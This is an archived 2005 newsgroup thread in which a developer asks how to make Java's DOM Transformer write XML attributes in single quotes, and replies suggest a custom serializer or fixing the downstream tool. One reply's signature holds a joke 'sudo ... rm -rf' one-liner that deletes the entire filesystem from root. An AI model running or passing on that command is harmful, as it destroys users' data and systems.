Discussion:
XML attribute quote?
(too old to reply)
u***@yahoo.com
2005-03-30 05:46:12 UTC
Permalink
I am hoping the answer lies here in this forum.

My input : <?xml version='1.0' encoding='ISO-8859-1'?>
..................................
.........some other elements

Note the single quote encl. attributes

Then I create a DOM and do some other operations and using a
Transformer convert DOM to XML.

However, I've noticed that the attributes are now double quoted instead
of the original single quote? I know that according to the XML spec.
that it is valid. However one of the downstream application requires
the attribute to be single quoted (they dont use a parser :))

o/p : <?xml version="1.0" encoding="ISO-8859-1"?>

Is there any workaround to write attributes with single quotes?

TIA,
Guru.
Martin Honnen
2005-03-30 11:22:27 UTC
Permalink
Post by u***@yahoo.com
My input : <?xml version='1.0' encoding='ISO-8859-1'?>
..................................
.........some other elements
Note the single quote encl. attributes
Then I create a DOM and do some other operations and using a
Transformer convert DOM to XML.
However, I've noticed that the attributes are now double quoted instead
of the original single quote? I know that according to the XML spec.
that it is valid. However one of the downstream application requires
the attribute to be single quoted (they dont use a parser :))
o/p : <?xml version="1.0" encoding="ISO-8859-1"?>
Is there any workaround to write attributes with single quotes?
If you are using Java then you could search the web for a custom
serializer that allows setting the quote character. I am not sure there
is one but you could search. If you find one you could use that,
otherwise you would need to write your own.
But of course the proper way is to fix the other application, if you use
XML for data exchange between applications then well-formed markup
should be exchangeable without problems.
--
Martin Honnen
http://JavaScript.FAQTs.com/
u***@yahoo.com
2005-03-30 18:44:44 UTC
Permalink
Thanks for replying. The transform of the DOM seems to always enclose
the attr. in double quotes which I have notified to the consumer. Since
the appln. we are using is real time, I decided against using the
Serializer. The objective was to keep the layer as thin as possible.

I was under the impression that the Transformer/Writer would provide
some mechanism to provide user-defined quotes(single or double).

Thanks Again.
Peter Flynn
2005-04-01 21:57:35 UTC
Permalink
Post by u***@yahoo.com
I am hoping the answer lies here in this forum.
My input : <?xml version='1.0' encoding='ISO-8859-1'?>
..................................
.........some other elements
Note the single quote encl. attributes
Then I create a DOM and do some other operations and using a
Transformer convert DOM to XML.
However, I've noticed that the attributes are now double quoted instead
of the original single quote? I know that according to the XML spec.
that it is valid. However one of the downstream application requires
the attribute to be single quoted (they dont use a parser :))
Then the software is broken and should be replaced.

///Peter
--
sudo sh -c "cd /;/bin/rm -rf `which killall kill ps shutdown mount gdb` *
&;top"
Loading...